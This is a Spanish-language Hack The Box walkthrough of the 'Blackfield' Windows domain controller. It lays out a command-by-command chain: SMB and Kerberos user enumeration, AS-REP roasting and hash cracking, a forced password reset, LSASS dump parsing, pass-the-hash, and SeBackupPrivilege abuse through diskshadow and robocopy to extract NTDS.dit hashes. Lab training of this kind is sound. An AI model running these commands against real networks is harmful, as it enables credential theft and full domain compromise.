🩸
Gzzcoo HTB Walkthroughs
HomePentest NotesHTB Profile
  • Home
  • ACTIVE DIRECTORY
    • Easy
      • Active
      • Cicada
      • EscapeTwo
      • Fluffy
      • Forest
      • Sauna
      • Support
      • Timelapse
    • Medium
      • Administrator
      • Authority
      • Cascade
      • Certified
      • Escape
      • Hospital
      • Intelligence
      • Jab
      • Manager
      • Monteverde
      • Puppy
      • Querier
      • Resolute
      • Scrambled
      • StreamIO
      • TombWatcher
      • TheFrizz
    • Hard
      • Acute
      • Analysis
      • Blackfield
      • Certificate
      • Haze
      • Mantis
      • Object
      • Reel
      • Scepter
      • Search
      • Vintage
    • Insane
      • DarkCorp
      • Ghost
      • Infiltrator
      • Multimaster
      • Sizzle
  • WINDOWS
    • Easy
      • Blue
      • Devel
      • Grandpa
      • Granny
      • Heist
      • Jerry
      • Netmon
      • Optimum
      • Return
  • LINUX
    • Easy
      • Alert
      • Analytics
      • Antique
      • Armageddon
      • Bank
      • Bashed
      • Bizness
      • Blocky
      • BoardLight
      • BountyHunter
      • Broker
      • Busqueda
      • Cap
      • Chemistry
      • Code
      • Codify
      • CozyHosting
      • Delivery
      • Devvortex
      • Dog
      • Editorial
      • GreenHorn
      • Headless
      • Horizontall
      • Irked
      • Keeper
      • Knife
      • Lame
      • LinkVortex
      • Mirai
      • MonitorsTwo
      • Nibbles
      • Nocturnal
      • Nunchucks
      • OpenAdmin
      • Paper
      • PC
      • PermX
      • Planning
      • Pilgrimage
      • Precious
      • Previse
      • Sau
      • ScriptKiddie
      • Shocker
      • Sightless
      • Squashed
      • Titanic
      • Topology
      • TraceBack
      • TwoMillion
      • UnderPass
      • Usage
      • Valentine
      • Validation
      • Wifinetic
    • Medium
      • Backfire
      • Cat
      • Cypher
      • Heal
      • Instant
      • Trickster
    • Hard
      • Eureka
Con tecnología de GitBook

© 2025 Gzzcoo.

En esta página
  • Reconnaissance
  • SMB Enumeration
  • Users Enumeration
  • RID Brute Force Attack
  • Kerberos User Enumeration (Kerbrute)
  • AS-REP Roast Attack (GetNPUsers)
  • Cracking Hashes
  • Kerberoasting Attack (GetUserSPNs) - [FAILED]
  • LDAP Enumeration (ldapdomaindump)
  • BloodHound Enumeration
  • Abusing ForceChangePassword Privilege (net rpc)
  • Initial Access
  • LSASS Dump Analysis (Pypykatz)
  • Abusing WinRM
  • Privilege Escalation
  • SeBackupPrivilege Exploitation
  • DiskShadow
  • Robocopy Usage
  • NTDS Credentials Extraction (secretsdump)

¿Te fue útil?

Exportar como PDF
  1. ACTIVE DIRECTORY
  2. Hard

Blackfield

AnteriorAnalysisSiguienteCertificate

Última actualización hace 3 meses

¿Te fue útil?

Blackfield es una máquina Windows de dificultad alta que presenta configuraciones incorrectas de Windows y Active Directory. El acceso anónimo/de invitado a un recurso compartido SMB se utiliza para enumerar usuarios. Una vez que se descubre que el usuario tiene la autenticación previa de Kerberos deshabilitada, lo que nos permite realizar un ataque ASREPRoasting. Esto nos permite recuperar un hash del material cifrado contenido en el AS-REP, que puede someterse a un ataque de fuerza bruta fuera de línea para recuperar la contraseña de texto sin formato.

Con este usuario podemos acceder a un recurso compartido SMB que contiene artefactos forenses, incluido un volcado de proceso lsass. Este contiene un nombre de usuario y una contraseña para un usuario con privilegios WinRM, que también es miembro del grupo de operadores de respaldo. Los privilegios conferidos por este grupo privilegiado se utilizan para volcar la base de datos de Active Directory y recuperar el hash del administrador de dominio principal.

Reconnaissance

Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Blackfield.

nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.10.192 -oG allPorts

Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX.

nmap -sCV -p53,88,135,389,445,593,3268,5985 10.10.10.192 -A -oN targeted -oX targetedXML

Transformaremos el archivo XML obtenido en el resultado de nmap y lo transformaremos en un archivo HTML. Levantaremos un servidor HTTP con Python3.

xsltproc targetedXML > index.html

python3 -m http.server 80

Comprobaremos el nombre del dominio que nos enfrentamos, el nombre del equipo y que tipo de máquina nos enfrentamos.

ldapsearch -x -H ldap://10.10.10.192 -s base | grep defaultNamingContext

netexec smb 10.10.10.192

Procederemos a añadir la entrada en nuestro archivo /etc/hosts

catnp /etc/hosts | grep blackfield

Intentaremos de realizar un reconocimiento para enumerar los usuarios a través de RPC con NSrpcenum sin éxito.

NSrpcenum -e DUsers -i 10.10.10.192

SMB Enumeration

Procederemos a enumerar los recursos compartidos que hay en el SMB.

smbclient -L //10.10.10.192 -N

A través de smbmap probaremos de autenticarnos con el usuario "guest" y ver los permisos que disponemos.

smbmap -H 10.10.10.192 -u guest -p ''

Revisaremos el contenido del recurso compartido "profiles" a través de smbmap.

smbmap -H 10.10.10.192 -u guest -p '' -r profiles$/

Accederemos al recurso compartido con el usuario "guest" al recurso compartido "profiles" y nos descargaremos todo el contenido del recurso.

smbclient //10.10.10.192/profiles$ -U 'guest%'

Comprobaremos que hemos descargado 315 directorios pero sin ningún archivo. Al parecer en este recurso compartido parece haber nombres de usuarios.

Guardaremos los nombres de los posibles usuarios en el archivo "users.txt".

Users Enumeration

RID Brute Force Attack

A través del usuario "guest" realizaremos un RID Brute Force Attack para enumerar a los usuarios mediante SMB a través de un ataque de fuerza bruta del RID. Estos usuarios los añadiremos al archivo "users.txt" sin eliminar los que ya tenemos.

netexec smb 10.10.10.192 -u 'guest' -p '' --rid-brute | grep SidTypeUser | rev | awk '{print $2}' | rev | sed 's/BLACKFIELD\\//g' > users.txt

Kerberos User Enumeration (Kerbrute)

Del listado de usuarios que disponemos, probaremos de validar los usuarios válidos. Para ello, haremos uso de kerbrute.

kerbrute userenum --dc 10.10.10.192 -d BLACKFIELD.local users.txt

Estos archivos que hemos validado los guardaremos en un nuevo archivo "valid_users.txt".

cat valid_users.txt | rev | awk '{print $2}' FS="@" | rev | rev | awk '{print $1}' | rev | sponge valid_users.txt

De este nuevo listado de usuarios, los validaremos para comprobar que efectivamente todos los que hemos añadido son válidos en el dominio. En total disponemos de unos 335 usuarios en total.

kerbrute userenum --dc 10.10.10.192 -d BLACKFIELD.local valid_users.txt

AS-REP Roast Attack (GetNPUsers)

Debido que disponemos de una lista potencial de usuarios, probaremos a realizar un AS-REP Roast Attack para intentar obtener un Ticket Granting Ticket (TGT) para luego crackearlo de manera offline.

impacket-GetNPUsers -no-pass -usersfile valid_users.txt BLACKFIELD.local/ 2>/dev/null

Cracking Hashes

De los TGT obtenidos procederemos a crackear los hashes con john para obtener la contraseña del usuario.

john --format=krb5asrep hashes --wordlist=/usr/share/wordlists/rockyou.txt

Validaremos con netexec de autenticarnos al SMB y de comprobar si con estas credenciales podemos acceder al WinRM. Verificamos que las credenciales son válidas, pero no tenemos de permisos suficientes para acceder remotamente al equipo.

netexec smb 10.10.10.192 -u 'support' -p '#00^BlackKnight'

netexec winrm 10.10.10.192 -u 'support' -p '#00^BlackKnight'

Enumeraremos con este nuevo usuario los recursos compartidos del SMB para ver si disponemos de más acceso del que ya disponíamos con el usuario "guest".

smbmap -H 10.10.10.192 --no-banner -u support -p '#00^BlackKnight'

Kerberoasting Attack (GetUserSPNs) - [FAILED]

Ya que disponemos de credenciales de un usuario del dominio válidas, probaremos de realizar un Kerberoasting Attack para intentar obtener un Ticket Granting Service (TGS), sin éxito en este caso.

impacket-GetUserSPNs -dc-ip 10.10.10.192 BLACKFIELD.local/support -request

LDAP Enumeration (ldapdomaindump)

Enumeraremos el LDAP a través de la herramienta ldapdomaindump.

ldapdomaindump -u 'BLACKFIELD.local\support' -p '#00^BlackKnight' 10.10.10.192 -o ldap

Verificamos los diferentes archivos de la enumeración de LDAP y comprobamos que el usuario "svc_backup" forma parte del grupo "Remote Management Users", esto nos puede interesar, ya que con este usuario podríamos conectarnos remotamente en caso de disponer de sus credenciales.

BloodHound Enumeration

Realizaremos una enumeración con BloodHound a través de bloodhound-python.

bloodhound-python -c all -u support -p '#00^BlackKnight' -d BLACKFIELD.local -ns 10.10.10.192

Abusing ForceChangePassword Privilege (net rpc)

Revisando BloodHound para buscar una vía potencial de escalar nuestros privilegios, nos damos cuenta que el usuario que tenemos (support@blackfield.local) dispone de permisos "ForceChangePassword" sobre el usuario (audit2020@blackfield.local).

Esto puede ser intersante para realizar un Lateral Movement.

Comprobamos que el usuario dispone de permisos para cambiar la contraseña del usuario en cuestión (audit2020@blackfire.local).

Debido que no disponemos de acceso a la máquina para realizarlo en el equipo Windows, lo podemos intentar realizar a través de net rpc para realizar el cambio de contraseña.

Realizamos el cambio y verificamos que se ha modificado correctamente las credenciales del usuario. Aún no podemos acceder al WinRM, ya que este usuario tampoco tiene permisos.

net rpc password "audit2020" "Gzzcoo123" -U 'BLACKFIELD.local/support%#00^BlackKnight' -S 10.10.10.192

netexec smb 10.10.10.192 -u 'audit2020' -p 'Gzzcoo123'

netexec winrm 10.10.10.192 -u 'audit2020' -p 'Gzzcoo123'

Initial Access

LSASS Dump Analysis (Pypykatz)

Probando de enumerar el SMB con estas nuevas credenciales, comprobamos que este usuario dispone de acceso para el recurso compartido "forensic".

smbmap -H 10.10.10.192 --no-banner -u audit2020 -p 'Gzzcoo123'

Revisaremos el contenido del recurso compartido "forensic" a través de smbmap.

smbmap -H 10.10.10.192 --no-banner -u audit2020 -p 'Gzzcoo123' -r forensic/
smbclient //10.10.10.192/forensic -U 'audit2020%Gzzcoo123'

Descomprimiremos el archivo .zip descargado y comprobaremos que es un .DMP, es decir un volcado de memoria al parecer del LSASS.

Comprobaremos de qué tipo es el volcado de memoria, en este caso, es un volcado de memoria "Mini DuMP".

A través de la herramienta de pypykatz analiaremos el volcado de memoria de LSASS. Especificaremos el tipo de volcado (minidump).

Verificaremos que disponemos del hash NTLM del usuario "svc_backup" y del usuario "Administrator".

file lsass.DMP

pypykatz lsa minidump lsass.DMP

Verificaremos con netexec si podemos autenticarnos realizando un Pass The Hash con los hashes obtenidos, comprobamos que el del usuario "Administrator" no nos sirve, pero el del usuario "svc_backup" si.

Abusing WinRM

Ya sabemos que el usuario "svc_backup" forma parte del grupo "Remote Management Users" debido que lo habíamos enumerado antes con ldapdomaindump, accederemos al WinRM a través de evil-winrm.

Verificamos la flag de user.txt.

evil-winrm -i 10.10.10.192 -u 'svc_backup' -H '9658d1d1dcd9250115e2205d9f48400d'

Privilege Escalation

SeBackupPrivilege Exploitation

Revisando los permisos del usuario "svc_backup" comprobamos que dispone del privilegio de SeBackupPrivilege. Por lo cual perfectamente nos podríamos dumpear la SAM para obtener los hashes del usuario Administrator (local).

whoami /priv

Extraeremos la SAM y SYSTEM y nos la descargaremos en nuestra Kali.

reg save hklm\sam C:\Windows\Temp\test\SAM

reg save hklm\system C:\Windows\Temp\test\SYSTEM

download SAM

download SYSTEM

A través de samdump2 obtendremos los hashes NTLM de los usuarios locales del equipo.

samdump2 SYSTEM SAM

Validamos que no podemos hacer Pass The Hash con el hash del Administrador local. Además queremos ser el Administrador del dominio, no del equipo local.

DiskShadow

Por lo tanto, ya que disponemos del privilegio SeBackupPrivilege y nos encontramos en el Domain Controller, podemos probar de dumpearnos el archivo "NTDS.dit" que es el archivo de la base de datos de Active Directory en los controladores de dominio que almacena todas las cuentas de dominio y sus hashes de contraseña., este archivo solamente se encuentra en el DC.

Comprobamos que no podemos copiarnos a través del comando "copy" el archivo.

Por lo tanto, lo que podemos hacer uso es de DiskShadow.

DiskShadow en Windows me permite hacer copias exactas de discos (instantáneas) para respaldar y restaurar datos. La uso para guardar el estado de un volumen en un momento específico y recuperarlo si algo falla, además de poder clonar discos fácilmente.

En nuestra Kali crearemos el siguiente archivo .txt que lo que realizará es permitir acceder a una copia exacta del volumen C: en G: sin afectar los datos en el volumen original.

Importante: Dejar un espacio al final de cada instrucción

set context persistent nowriters 
add volume c: alias gzzcoo 
create 
expose %gzzcoo% g: 

Subiremos este archivo .txt al equipo de Windows.

A través de DiskShadow ejecutaremos el contenido de las instrucciones para crear una instantánea del volumen C:, guardarlo en un alias "gzzcoo" y exponerlo en la unidad G:, para así acceder a la copia de datos en G:.

diskshadow.exe /s C:\Windows\Temp\test\diskshadow.txt

Robocopy Usage

Si con copy no podemos copiarnos el archivo NTDS.dit que tenemos en el volumen G:, probaremos con el uso de robocopy para copiarnos dicho archivo a nuestro directorio actual.

robocopy /b g:\Windows\NTDS\ . ntds.dit

NTDS Credentials Extraction (secretsdump)

Comprobaremos que hemos dumpeado el NTDS.dit en el directorio que estamos actualmente, nos lo descargaremos a nuestra Kali.

A través de la herramienta de secretsdump.py ejecutaremos el siguiente comando.

Este comando sirve para extraer los hashes de contraseñas de Active Directory desde el archivo ntds.dit en nuestro equipo local. El archivo SYSTEM es necesario porque contiene la clave de cifrado para descifrar los datos del NTDS.dit y obtener los hashes de las contraseñas. Sin el archivo SYSTEM, no se pueden extraer los hashes, este archivo lo dumpeamos anteriormente con la SAM.

Comprobamos que obtenemos los hashes del usuario Administrador del dominio.

secretsdump.py -system SYSTEM -ntds ntds.dit LOCAL

Validaremos que podemos autenticarnos realizando Pass The Hash y efectivamente podemos conectarnos al WinRM mediante evil-winrm, comprobaremos la flag de root.txt.

Accederemos a y comprobaremos el resultado en un formato más cómodo para su análisis.

Enumerando el SMB con smbclient nos encontramos que en el recurso (\\10.10.10.192\forensic\memory_analysis) hay un comprimido llamado "lsass.zip" que nos hace pensar que se trata del (). Como teníoamos problemas a la hora de descargar des de smbclient por errores de time out, procederemos a descargar el contenido a través de smbget.

http://localhost
Servicio de Subsistema de Autoridad de Seguridad Local